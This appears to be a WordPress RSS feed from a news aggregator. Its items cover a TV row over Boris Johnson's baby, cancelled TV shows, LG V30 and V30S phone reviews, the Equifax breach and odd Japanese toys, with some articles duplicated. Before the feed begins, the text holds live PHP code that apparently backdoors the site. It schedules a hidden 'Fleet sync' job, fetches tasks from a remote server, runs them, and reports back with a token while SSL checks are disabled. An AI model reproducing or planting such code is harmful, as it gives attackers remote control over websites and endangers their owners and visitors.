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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); should’ve – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 30 Apr 2020 20:32:09 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png should’ve – Brief News https://briefnews.eu 32 32 Janet Street-Porter sparks uproar with Boris baby jibe ‘Should’ve planned arrival better’ https://briefnews.eu/janet-street-porter-sparks-uproar-with-boris-baby-jibe-shouldve-planned-arrival-better/ https://briefnews.eu/janet-street-porter-sparks-uproar-with-boris-baby-jibe-shouldve-planned-arrival-better/#respond Thu, 30 Apr 2020 20:32:09 +0000 https://briefnews.eu/janet-street-porter-sparks-uproar-with-boris-baby-jibe-shouldve-planned-arrival-better/

“Hang on a minute, they’re in the middle of Brexit negotiations but they can’t think about having a baby?” Schofield remarked. 

“Well if you want to be Prime Minister where do you place all your [priorities] – Street-Porter continued but was interrupted by Willoughby. 

The presenter defended: “You don’t know, we don’t know anything about this [Johnson and Symonds personal life]. They could’ve been trying [for a baby] for a long time, we don’t want to or need to know.” 

“He presumably has five children why does he want a sixth,” Street-Porter exclaimed. 

“What about her, don’t forget Carrie is a human being in all of this she is a mother who has just given birth to her first child you can’t forget all of this in surely?” Willoughby argued. 

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]]> https://briefnews.eu/janet-street-porter-sparks-uproar-with-boris-baby-jibe-shouldve-planned-arrival-better/feed/ 0 13 great TV shows that should’ve never been canceled https://briefnews.eu/13-great-tv-shows-that-shouldve-never-been-canceled/ https://briefnews.eu/13-great-tv-shows-that-shouldve-never-been-canceled/#respond Sun, 23 Dec 2018 02:51:20 +0000 http://briefnews.eu/13-great-tv-shows-that-shouldve-never-been-canceled/ ugly betty america ferrera abcABC

The television graveyard is full of shows that were buried in their prime. And for fans, no matter how few, it’s always devastating to lose a great show before it’s time.

In most cases, cancellations come down to low ratings. And while many networks would kill for the numbers shows generated while they were airing in the pre-streaming, pre-DVR world, we can’t turn back time (although networks are definitely trying with a host of reboots and remakes over the past several years). 

Regardless, there are so many good shows that were ripped from existence way too abruptly for their fans.

Here are 13 great shows that were canceled too soon.

“Caprica” ended in 2010 after one season.

Syfy

For those of us who absolutely devoured every episode of “Battlestar Galactica,” this prequel spin-off explaining just how robots came to rule was everything. With a mix of dueling family drama, teen angst, and gamer nerdiness, “Caprica” fits the bill for many of us.

“Caprica”/Syfy

But for Syfy, the bill was too expensive. The ambitious drama was too expensive to justify continuing with the show with its low ratings — arguably a problem Syfy brought upon itself.

“Caprica”/Syfy

Source: UPROXX


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The television graveyard is full of shows that were buried in their prime. And for fans, no matter how few, it’s always devastating to lose a great show before it’s time.

In most cases, cancellations come down to low ratings. And while many networks would kill for the numbers shows generated while they were airing in the pre-streaming, pre-DVR world, we can’t turn back time (although networks are definitely trying with a host of reboots and remakes over the past several years). 

Regardless, there are so many good shows that were ripped from existence way too abruptly for their fans.

Here are 13 great shows that were canceled too soon.

“Caprica” ended in 2010 after one season.

Syfy

For those of us who absolutely devoured every episode of “Battlestar Galactica,” this prequel spin-off explaining just how robots came to rule was everything. With a mix of dueling family drama, teen angst, and gamer nerdiness, “Caprica” fits the bill for many of us.

“Caprica”/Syfy

But for Syfy, the bill was too expensive. The ambitious drama was too expensive to justify continuing with the show with its low ratings — arguably a problem Syfy brought upon itself.

“Caprica”/Syfy

Source: UPROXX


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In the midst of a tricky fiscal year, LG decided to run with a new strategy: cook up interim smartphones to sell between its major flagship releases. The plan was based in part on the surprising success of phones like the X cam, and since the company needed to try something different, it pressed on with its experiment. And lo, the LG V30S ThinQ was born.

If you were looking for dramatic changes to the original V30 hardware, you might be disappointed by this “interim” release. In fact, let’s run through all of the way the V30S ThinQ we received for testing differs from the original:

  • It has 6GB of RAM, up from 4GB.
  • Internal storage ranges from 128GB to 256GB, compared to 64GB-128GB in the first release.
  • This P-OLED display doesn’t have the original’s scratchy, uneven appearance in low light.
  • It’s blue.

That’s it. Broadly speaking, LG is selling last year’s phone with a fancy firmware update. This news will disappoint anyone who wanted a proper G-series flagship, like the ones we got two years running here at MWC, but all of the company’s messaging in the run up to the show indicated that we wouldn’t get a striking, brand-new machine.

To make this whole situation even weirder, Ian Hwang (LG’s director of product portfolio) confirmed that these AI features should eventually wind up on the original V30 as well. Subsequent conversations with an LG spokesperson instead suggested that some AI features would not be ported to earlier devices and that these decisions would be made on a market-by-market basis — suffice to say, we’re still trying to figure out exactly what’s what.

By now, you might wondering why LG had to make a brand new version of an existing phone for these AI features to live on the first place. We’re not really sure ourselves. LG has struggled to find its footing in the mobile world, so it’s little surprise that the LG V30S ThinQ kinda feels like a cash-grab. It’s not unlike Essential pushing out limited edition colorways to drum up some more momentum ahead of its brand new smartphone. Asking people to pay for a new version of a phone with features that are largely compatible with the original can be upsetting, but here’s the thing: these AI features actually work pretty well.

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LG worked with a company called EyeEm to train its image recognition algorithm on over 100 million photos, and in most of our tests, that work seems to have paid off. You’ll tap into all that machine learning through the camera app, where you’ll see two new options beneath the viewfinder: QLens and AI Cam. The former honestly feels like a barebones version of Bixby, with shortcuts to feed an image of what’s in front of the camera to Amazon (for shopping links) and Pinterest (to add things to your visual collection).

Shopping with a visual AI is always a little tricky because you can’t always count on the AI to correctly identify what’s in front of it. We pointed the QLens at a box of clearly marked cereal, and a handful of correct Amazon shopping links appeared at the bottom of the screen. Nice. When we pointed it at a red sweatshirt and a MacBook Pro and even another V30, we got a handful of suggestions we could tap to see related Amazon listings. In those cases, the camera was able to roughly identify the object — suggestions included “Apple laptop” and “LG cell phone” — but wasn’t smart enough to pin down the model and offer the correct links.

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We fared a little better with QLens’s Pinterest integration, though: taking a picture of a shirt prompted Pinterest suggestions that, in some cases at least, matched the shirt surprisingly well. Some suggestions were red and some had a similar texture to the real thing, so LG’s algorithm was getting pretty close.

AI Cam was more immediately useful. There are eight scene mode presets — portrait, animal, city/building, flower, sunrise, sunset, food and landscape — and as the camera is meant to fire up whichever is appropriate for what it’s looking at. While that identification process is happening, little ethereal keywords bubble up onto the screen to illustrate how the phone is “thinking” about the object. It’s completely unnecessary, but just about everyone I’ve shown it to has enjoyed it — it’s a neat way to illustrate the algorithm in action and seeing those keywords slowly become more relevant is actually kind of fascinating.

More importantly, when objects in front of the camera — like some flowers or donuts on a table — matched one of the presets, the correct shooting mode kicked in just about every time. Mismatches and false positives are certainly possible, but in the few hours we’ve been testing the V30S ThinQ, we didn’t encounter any. If anything, it just took a while for phone to decipher certain images. You don’t even need to be using the dual camera for this trick to work; identifications made through the front-facing camera worked just as quickly. If LG could tune the algorithm’s performance to the point where this feature could run by default, the company might really be onto something.

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And then there’s Google Assistant. For the most part, it works exactly the way you’d expect it to: throw an “OK, Google” or a “Hey, Google” at it, and the Assistant cheerily responds and takes your requests. The difference is, the V30S ThinQ (I will never not hate that name) is the first Android phone we’ve tested with device-specific Google Assistant commands. At present, there are 23 such commands, ranging from “OK, Google, take a wide-angle selfie” to “Hey, Google, take a documentary video.” (For the uninitiated, the latter opens the camera with a specific Cine video mode to emulate classic docs.)

You can find the full list of commands here, and almost all of them worked exactly as designed. The experience isn’t perfect, though: Google Assistant doesn’t seem to understand the word “Cine” as LG uses it, so that list of commands is flawed from the get-go. And for some reason, the Assistant was never able to understand me when I said the word “noir.” Go figure.

The issues I encountered were surprisingly minor, and that’s made more impressive by the fact that the software on this tester phone isn’t final yet. That LG (with quite a bit of help) managed to build an AI experience that functions as well as it does is no small feat, and I really wish LG had just waited and released this thing as the definitive V30 from the get-go.

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LG’s chosen path, however, leaves me on the fence. I honestly can’t tell how crucial the extra 2GB of RAM here is to the usefulness of this AI, but either way, it feels like original V30 owners are getting a raw deal. And while I can’t blame LG for trying to reverse its fortunes, interim releases like this one can be hard to swallow, especially since the first V30 only appeared on the market about six months ago. This whole interim release thing raises some questions, too: does it mean, for instance, that LG is abandoning its annual upgrade cycle? Only time will tell.

Of course, there’s one other big question: should anyone actually buy this thing? That’s hard to answer without an actual price tag, but one thing seems clear: there’s more to LG’s seemingly opportunistic update than meets the eye.

Catch up on the latest news from MWC 2018 right here.

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Equifax’s latest update on its unprecedented security breach notifies the public that its investigation has found the cause of the theft. Along with an unnamed security firm (ZDNet and others have reported it’s Mandiant) the company confirmed rumors that attackers exploited a flaw in the Apache Struts Web Framework. That bug, CVE-2017-5638, was revealed in March, but the criminals were still able to use it against Equifax to steal personally identifiable information (PII – including names, birth dates, social security numbers and more) for 143 million people in the US in mid-May.

A failure to patch a known security hole becomes more believable after hearing about an egregious security hole discovered just this weeks. Brian Krebs reports on a situation discovered by Hold Security, where Equifax’s Argentinian website left administrator access (including databases of consumer’s personal information) guarded by the ultra-difficult user/password login combo of admin/admin. It allowed anyone to add or remove employee accounts for the system, as well as see their passwords by simply viewing the source of a webpage, or access the personal data of anyone (including DNI — their equivalent to a social security number) who had ever disputed a report.

The site was taken offline after Krebs notified Equifax, but the existence of such an easily-accessed security hole is troubling. According to Reuters, over 40 US states have joined a probe against the company, and its CEO is expected to testify before a House of Representatives panel on October 3rd.

Equifax – September 13, 2017

1) Updated information on U.S. website application vulnerability.
Equifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cybersecurity firm to determine what information was accessed and who has been impacted. We know that criminals exploited a U.S. website application vulnerability. The vulnerability was Apache Struts CVE-2017-5638. We continue to work with law enforcement as part of our criminal investigation, and have shared indicators of compromise with law enforcement.

2) Temporary interruption to credit freeze sign-up link.
Due to the high volume of security freeze requests, we experienced temporary technical difficulties and our system was offline for approximately an hour at 5PM ET on September 13, 2017 to address this issue. We apologize for any inconvenience.

3) More details on consumer exemption from arbitration clause.
Questions continue to be raised about the arbitration clause and class action waiver language that was originally in the terms of use for the free credit file monitoring and identity theft protection products that we are offering called TrustedID Premier. We have removed that language from the TrustedID Premier Terms of Use and it will not apply to the free products offered in response to the cybersecurity incident or for claims related to the cybersecurity incident itself. The arbitration language will not apply to any consumer who signed up before the language was removed.

Source: Equifax

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]]> https://briefnews.eu/equifax-blames-breach-on-a-server-flaw-it-shouldve-patched/feed/ 0 LG V30 hands-on: The phone the G6 should’ve been https://briefnews.eu/lg-v30-hands-on-the-phone-the-g6-shouldve-been/ https://briefnews.eu/lg-v30-hands-on-the-phone-the-g6-shouldve-been/#respond Thu, 31 Aug 2017 07:43:10 +0000 http://briefnews.eu/lg-v30-hands-on-the-phone-the-g6-shouldve-been/

Despite all its resources and technical know-how, LG has always felt like an also-ran in a race dominated by Apple and Samsung. The G4 is the subject of a class-action lawsuit. The modular G5 was an ambitious non-starter. Last year’s V20 and the G6 were welcome steps forward, but neither of them managed to generate that much excitement.

The company’s new V30 smartphone just might be able to change that. Announced today at IFA, the V30 is meant to be as much a creative tool as it is a device for taking phone calls. This time, though, LG wisely excised some gimmicks, leading to a device that, after a week of living with a pre-production model, feels more polished and more focused than I dared expect. I’m trying to be cautious with my optimism, but it’s honestly a little tough: I haven’t enjoyed an LG phone this much in years.

A lot of that is thanks to the V30’s clean, comfortable design. The V20 and the G6 seemed to revel in their boxy frames, but the V30 has rounded edges and slightly curved panes of Gorilla Glass 5 wrapped around a glossy metal frame. It’s pleasant in hand, almost shockingly light and a pleasure to look at. (I never thought I’d give that last compliment to an LG phone, but here we are.)

LG didn’t skimp on the niceties, either: The V30’s body is rated IP68 for water and dust resistance, there’s a headphone jack on the top-right corner, and it takes microSD cards as large as 2TB to supplement the included 64GB or 128GB of storage. You’ll find an industry-standard USB-C port on the bottom for charging, and a combination fingerprint sensor/home button on the V30’s back, just beneath its updated dual camera. (More on that later.) Fans of the V20’s removable battery are in for a shock, though: the V30’s 3,300mAh cell is sealed inside the phone’s frame. Aside from that, LG did an excellent job with the V30’s fit and finish, and things get better when you fire the phone up.

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See, the V30’s 6-inch OLED screen takes up almost all of the phone’s face; the bezels here are narrower than the ones flanking the Note 8’s massive display. So far, it’s plenty bright, with great viewing angles and colors that are vivid but not overdone. And, just like the G6, the display here is atypically long: It runs at 2,880 by 1,440, which means it’s twice as long as it is wide. LG’s argument is that this provides ample room for split-screen multitasking, and that’s definitely true — I’m just not sure who does this regularly. I only wish the glass covering the screen were a little more durable. It’s been less than a week and I’ve already put a gouge into it that’s impossible to un-see.

In any case, LG’s decision to go with a nearly edge-to-edge screen means there was no room for a secondary display, a hallmark of earlier V-series phones. I say good riddance. Having a little extra space above the rest of the screen for notifications and app controls was neat in theory, but it always felt more gimmicky than valuable. Instead, LG put all those second-screen shortcuts into a “floating bar” that you can invoke by tapping a button on your home screen. Having the option to quickly skip songs or add an event to your calendar is nice, but the phone has to be unlocked and on before you can access those shortcuts; that makes the whole thing even less convenient than before. No wonder LG leaves this feature off by default.

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LG took a restrained approach with the rest of its software. The V30 runs a version of Android 7.1.2 that has been lightly painted over with LG’s custom interface. For the most part, LG does a very good job at giving you access to Nougat’s core functions without getting in your way. The biggest change to the stock Android experience is the iPhone-style home screen setup — by default, all your apps live on your home screens rather than in a separate launcher window. (You can bring back the classic launcher easily if that’s more your speed.) I haven’t uncovered all of LG’s other changes yet, but there is one more worth pointing out. When you swipe down on a home screen, you’re treated to a Google-powered search bar that peeks inside your installed apps to find whatever you’re looking for. This in-app search feature actually debuted on the V20 last year, but it’s as useful as ever.

LG’s light touch with software also keeps the phone running smoothly, though to be fair, there’s a lot of horsepower here. The V30 uses the ubiquitous Qualcomm Snapdragon 835 chip paired with 4GB of RAM, making it an exceptionally snappy performer. Did you honestly expect anything else? None of the games or weirdo multitasking scenarios I attempted presented any trouble, but I’ll have the final benchmark comparisons between the V30 and the rest of this year’s pack of flagship phones when LG makes retail-ready models available.

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Now, about that dual camera. Unlike the G6, the V30 pairs a 16-megapixel main camera (complete with f/1.6 aperture lens) with a 13-megapixel wide-angle camera for when you want to capture more of the action in front of you. That’s a little different from the dual cameras we’ve recently seen in phones like the Essential PH-1, but I’ve always preferred this approach since it’s way more flexible in the field. (Snapping photos with different perspectives without even having to move is also lots of fun.)

More importantly, most of my early test shots came out great; the colors were spot-on and nicely detailed. Naturally, photos taken with the main camera seem a touch crisper and more nuanced since the sensor captures images at a higher resolution. The wide-angle camera is no slouch either; it was great for shooting landscapes in Central Park over the weekend. Not all is perfect, though. So far, the V30’s cameras suffer from a lot of hazy, soft edges in low light — even the main camera with its wide aperture had trouble producing crisp images. The Galaxy S8s seem more capable in the dark, but here’s hoping the final batch of V30s fixes this issue.

Really, though, LG built the V30 to shine when shooting video. For non-auteurs like me, LG’s CineShot movie mode packs features that approximate high-end cinematography without any of the effort. Applying color presets to your footage is helpful for capturing the right atmosphere in a scene, and I really dig its Point Zoom feature. Long story short, you can tap anywhere on the screen to lock your focus and zoom in and out, even when your subject is lurking in the corner of the frame.

If you’re a vlogger or a YouTuber or someone who wants to try shooting serious footage with a smartphone, you’ll want to stay in the manual mode for full control over your footage. All the usual settings are there — you can tweak shutter speed, exposure, ISO and more — but you have options for changing your frame rate and bitrate. Cinematographers (or wannabes) will also enjoy the ability to export footage in LG’s CineLog format, making color grading easier once they get the files off their phones.

Meanwhile, plugging in a pair of headphones allows to you use the built in HiFi Quad DAC — you know, the one the US version of the G6 didn’t get. So far, it has made a notable, if not overwhelming, difference. Music I’ve listened to on the V30 and all benefited from a little extra depth; songs sounded a little brighter and more spacious than before. You can change how much of an impact the DAC has with some handy presets, too, and it’s worth taking the time to get the settings just right. The LG V10 from way back when offered some more nuanced controls, but no matter: The V30 still makes for great listening.

After years of being underwhelmed by LG phones, it feels very strange to like one this much –especially an unfinished one. Sure, LG made some compromises, and I can imagine some long-time V-series fans not being pleased with the company’s shift in strategy and design. That’s fair, but I can’t get too upset: In the process, LG has managed to build what certainly feels like its best phone in ages. Here’s hoping the final, review-ready units don’t take too long getting here.

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More: The 20 best tech toys for kids will make you wish you were 10 again

Editors note: Some may find a handful of the products below offensive, or graphic in nature. Please keep this in mind if you intend to read on.

Bandai Periperi Infinite Shipping Envelope Keychain Toy

Bandai’s offering is exactly what it sounds like: a keychain that allows you to experience the pure tactile nirvana that is opening an envelope. This little gadget isn’t a one trick pony, however, as there’s also a speaker on the bottom that produces the rich sound of an envelope opening with each subsequent “tear.” For about $ 10, you too can have the limitless enjoyment of opening an envelope without the risk of getting a paper cut. Sounds like a win-win.

Pachi Pachi Clappy

The Pachi Pachi Clappy takes the grunt work out of the act of applauding. Simply squeeze the trigger on your Clappy and the two plush hands will slap against one another. Yes, that’s right, thanks to the creators of the Pachi Pachi Clappy, the act of applause is now a low-impact endeavor. Is this at all necessary? No, but at least we now have the answer to the age-old Zen riddle: What is the sound of one hand clapping?

Barack Obama Action Figure

Obama Action Figure

There are many of people out there who like to call President Obama a puppet, and Japanese manufacturer Gamu Toys has seemingly taken the ramblings of conspiracy theorists and made them a reality. The Barack Obama action figure comes with several interchangeable heads and hands, as well as full articulation, so you can deck out the 44th President of the United States with an assortment weapons and position him in whatever badass pose you see fit for our nation’s previous leader. The Obama presidency may have come to a close, but that doesn’t mean ol’ Barack “The Chop” Obama is done slaying injustice two katanas at a time.

Kappa Kick

Russian Roulette Toy

All the fun of Russian Roulette with none of the mess! This gun-shaped toy is actually a hippo that will kick you in the head if you happen to pull the (un)lucky trigger . We’re a bit concerned at the idea of Russian Roulette being marketed to kids, no matter what adorable animals the toy is centered around. I mean, when’s the last time you sat down to watch The Deer Hunter?

Robot Cat

For those who have cat hair allergies, and don’t mind the cold dead stare of a machine, you’re in luck. The Yume Neko Venus Robotic Cat will give you the sensation of petting a tuft of moving, purring fur with none of the added benefits of owning a real cat whatsoever. No shots required.

Roadkill Cat

Speaking of dead cats, this lovely little bit of plastic and rubber recreates one of the most vivid and cloying images of any child’s nascent memories: the first time they witness a car running over the beloved family pet. We’re not sure what’s more disturbing, the toy itself, or the delightful expression on the child lining the bottom-right corner of the simple packaging.

“Shave The Baby” Doll

Who doesn’t love the rush of shaving another human being? Japan’s Shaving baby doll comes with thick, bushy tufts of red hair protruding all over its body (legs, face, buttocks, etc). The aim is to give customers the “satisfaction” of shaving the doll’s hair. Believe it or not, we’ll pass for now.

Crying Doll

Crying Baby

Can’t you imagine the enthusiastic commercial voice over for this toy: “Arm puncturing action! Cries real tears! Satisfies your child’s deeply disturbing desire to inflict pain on another being!”

Tuttuki Bako

Japan is the mecca for virtual pet toys, and this little box is one of the stranger examples. The Tuttuki Bako has several different mini games in which you can interact with various creatures and characters by poking them. It also serves as an alarm clock, so you can poke the box first thing in the morning.

Pregnant Doll

Pregnant Doll with Baby on an Umbilical Cord

This disgusting doll might look like it was ripped straight out of Cannibal Corpse’s album art, but it was actually used as an educational tool during Edo-era Japan. However, the meticulous detail and overall off-putting aesthetic of the doll also make it one of the most disturbing toys on our list.

Anpanman Toilet

Anpanman Japanese Toilet Toy

While this toilet figure — which is based on one of the most popular Japanese children’s characters, Anpanman —  isn’t necessarily all that strange on its own, there seems to be a preoccupation with what each character in the Apanman franchise defecates. There are numerous YouTube videos of people showing off their favorite Apanman stools, and this toilet toy is at the center of it all.

Face Bank

This coin bank will slowly and creepily eat your pocket change right out of your hand… or gnaw absently at the air as if conveying some subtle threat to you and everyone you love. Yikes.

H-Bouya

The H-Bouya is a USB-powered figurine whose face goes red every time the “H” key is pressed. That may sound harmless, sure, but keep in mind that the letter “H” is often used as a shorthand label for all things perverted and/or pornographic in Japan.

The Humping Dog USB Stick

Since dealing with an over-zealous pup is something all dog owners adore, why not recreate that awkward encounter every time you plug in your USB stick? This USB powered gag sure lights the spark in Sparky, though, we imagine it would get old rather quick.

Baby in a Microwave

Look, we don’t know what to say about this one. Of all the entries on our list, the one takes the cake for being the most bizarre, gross, and disturbing “toy.” We’re not sure why it exists, but it does, and it’s baffling. Sometimes it’s just best to stick with a classic G.I. Joe figurine.

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